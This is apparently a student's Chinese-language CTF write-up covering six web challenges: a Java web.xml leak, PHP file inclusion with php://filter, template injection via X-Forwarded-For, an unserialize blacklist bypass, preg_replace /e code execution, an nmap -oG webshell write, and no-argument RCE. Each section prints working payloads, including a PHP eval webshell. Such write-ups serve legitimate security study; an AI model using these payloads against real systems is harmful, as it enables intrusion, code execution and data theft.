web_week3
java web
[RoarCTF 2019]Easy Java
考点
Web.xml文件泄露:
漏洞描述: Web.xml是Java Web应用的配置文件,位于WEB-INF目录下,通常不应被直接从Web访问到。如果Web服务器配置不当,允许直接通过URL访问WEB-INF/web.xml,攻击者就能获取到该文件的内容。这本身构成了一种信息泄露漏洞,因为web.xml可能包含了敏感信息,如数据库连接字符串、过滤器配置、servlet映射等。
知识点:
Java web目录结构
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码
解题过程:
step1:
看到登录界面,尝试了下弱口令,万能密码,sql,都不是,注意到到这里有help键点了都是报java.io.FileNotFoundException:{null},注意到url?filename=这里是GET,尝试一下POST filename=help.docx 所以注入点是在这
step2:
Java web 试一下可以直接访问/WEB-INF/web.xml,得到一个xml文件,打开看到一些配置文件信息,看到了
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
“这段配置告诉Web容器(如Tomcat)有两个关键信息:一是存在一个名为FlagController的Servlet,它的实际类是com.wm.ctf.FlagController;二是所有路径以/Flag结尾的HTTP请求应该由这个Servlet来处理。”
step3:
filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
得到一个class文件,
可以用jd-gui反编译看到base64加密的flag
也可以用文本查看器打开,在FlagController后看到ZmxhZ3s5YWE3OTBlZi0wNjM4LTQzOGUtOTIzNC04MmZkYTBjMGQxNjR9Cg==
解码就是答案
文件包含
[BSidesCF 2020]Had a bad day
考点
文件包含
知识点
php伪协议
目录穿越
解题过程
step1:
打开界面,没看到什么信息,扫目录也没东西,然后看到url?category=xxx,我尝试?category=woofers'有报错
Warning: include(woofers'.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37
Warning: include(): Failed opening 'woofers'.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37
然后看到include()就是想到文件包含漏洞
step2:
使用php://filter/伪协议读取源码?category=php://filter/convert.base64-encode/resource=index(一开始是的index.php,但是报错)
然后得到的base64解码得到:
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
看到要去参数里一定要有woofers meowers index
step3:
不可以直接读取flag,于是我们使用目录穿越
?category=php://filter/convert.base64-encode/resource=index../../flag
得到的base64解码就得到了
模板注入
[BJDCTF2020]The mystery of ip
考点
模板注入
解题过程
step1:
打开有三个界面,index.php/flag.php/hint.php,hint和index没什么用,直接看flag.php页面显示:Your IP is : 127.0.0.1 ,就想到了XFF
step2:
f12打开hackbar修改xff,改成1,页面显示1,试下ls /,是直接回显在上面的,没有处理这个命令,试下模板注入{{ls /}}执行了
step3:
{{ls /}} {{cat /flag}}
PHP
[网鼎杯 2020 朱雀组]phpweb
考点:
利用反序列化绕过
代码审计
解题过程:
step1:
看到页面老是过几秒刷新一次,于是抓个包看看,看到了func=date&p=Y-m-d+h%3Ai%3As+a
这里是func应该是函数后面的p应该是函数要执行的内容,直接试一下func=system&p=ls /;出现Hacker;应该是被过滤了
step2:
查看源码:func=file_get_contents&p=index.php 拿到源码如下:
<?php
//黑名单
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
//接收一个函数和一个参数
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
//一个Test
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
//接受用户的值
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
//检查func是否为空,统一成小写,以及是否在黑名单里面
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
step3:
既然不能用system还有别的一些命令执行函数,看到Test就想到了反序列化,用它来绕过黑名单
<?php
class Test {
public $p = "ls /";
public $func = "system";
}
$a=new Test();
$b=serialize($a);
echo $b;
?>
func=unserialize&p=$b;
没看到和flag相关的名字
public $p="find / -name flag*"
找到
然后:
public $p = "cat /tmp/flagoefiu4r93"
ps:这里要注意空格
RCE
[BJDCTF2020]ZJCTF不过如此
考点:
代码审计
php伪协议
rce
知识点:
*·正则表达式/ei匹配存在命令执行,可直接套用plyload:?\S*=${目标函数()},按题目替换下即可执行任意命令
解题过程:
step1:
代码审计,第一步,要求传入I have a dream文件里也要有,用data伪协议写进去
第二步是要读取网页这里过滤了flag,注意注释里有next.php我们用php://读取文件内容
text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
得到一串base64解码得到
step2:审代码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
//这里存在漏洞
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
step3:
/next.php?\s*=${getFlag()}&cmd=sysytem('ls /');
/next.php?\s*=${getFlag()}&cmd=sysytem('cat /flag');
PHP RCE
考点:
nmap 写文件
escapeshellarg和escapeshellcmd函数
解题过程:
源码:
<?php
// 检查是否存在HTTP_X_FORWARDED_FOR头部,这通常发生在请求经过代理服务器时。
// 如果存在,则将REMOTE_ADDR(客户端IP)设置为HTTP_X_FORWARDED_FOR的值,以反映代理服务器之前的客户端IP。
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
// 判断GET请求中是否包含了'host'参数。
if(!isset($_GET['host'])) {
// 如果没有'host'参数,使用highlight_file()函数高亮显示当前脚本的源代码。
highlight_file(__FILE__);
} else {
// 获取GET请求中的'host'参数值。
$host = $_GET['host'];
// 使用escapeshellarg()函数为命令行参数添加引号并转义特殊字符,以防止命令注入。
$host = escapeshellarg($host);
// 使用escapeshellcmd()进一步转义命令中的特殊字符,增加安全性。
$host = escapeshellcmd($host);
// 生成一个基于固定字符串"glzjin"和客户端IP地址的MD5哈希值,作为沙盒目录的名称。
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
// 输出用户所在的沙盒环境标识。
echo 'you are in sandbox '.$sandbox;
// 尝试创建以$andbox命名的目录,@符号用于抑制mkdir函数可能产生的错误警告。
@mkdir($sandbox);
// 改变当前工作目录到刚创建的沙盒目录。
chdir($sandbox);
// 执行nmap命令,对$host进行快速端口扫描(-T5表示快速扫描,-sT表示TCP连接扫描,-Pn表示不进行主机存活探测,
// --host-timeout 2设置超时为2秒,-F表示快速扫描,仅扫描前100个最常用的端口)。
// 然后输出nmap扫描结果。
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
step1:
这里可以进行GET传参,但是由于escapeshellarg($host);escapeshellcmd($host);所有传入的命令都会被加上'',命令也会无效
step2:
注意到nmap,nmap -oG可以写文件,于是想到写木马进去连接后台
payload:
?host='<?php eval($_POST["666"]);?> -oG 1.php'
step3:
http://4b6c2980-a670-4d88-aea5-4c30632ad44f.node5.buuoj.cn:81/68ce73a49650737798e6260a605e9396/1.php
使用蚁剑连接后台查看flag
GIT源码泄露
[GXYCTF2019]禁止套娃
考点
1.githack
2.无参数RCE
解题过程:
step1:
进入并没有收集到有用信息,扫目录看一下,看到一些git信息,在/.git/COMMIT_EDITMSG看到有index.php和flag.php
step2:
想办法拿到index源码,就用到一个工具,GitHack
python GitHack.py http://fb2a7fff-542e-44fb-81d9-23d9f2e27e13.node5.buuoj.cn:81/.git
下载源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
//不让用php伪协议
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
// 这段正则尝试匹配并移除所有形如函数名(可选递归)(参数)的结构,如果最终结果仅为分号(';'),
// 表明原始输入可能只包含一个或多个函数调用且无其他字符,进入下一步检查。
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
// 排除某些敏感函数或关键词,这些可能被用于获取系统信息或执行进一步的代码操作,
// 如et(可能指eval),na(可能指assert),info(phpinfo),dec/bin/hex/oct转换,pi/log数学函数等。
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
step3:
无参数RCE于是构造
payload:
?exp=var_dump(scandir(current(localeconv())));
回显:
array(3) { [0]=> string(4) ".git" [1]=> string(8) "flag.php" [2]=> string(9) "index.php" }
我们要读取flag.php,因为flag在倒数第二个位置,所以反转数组,在移动指针到下一个即可
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));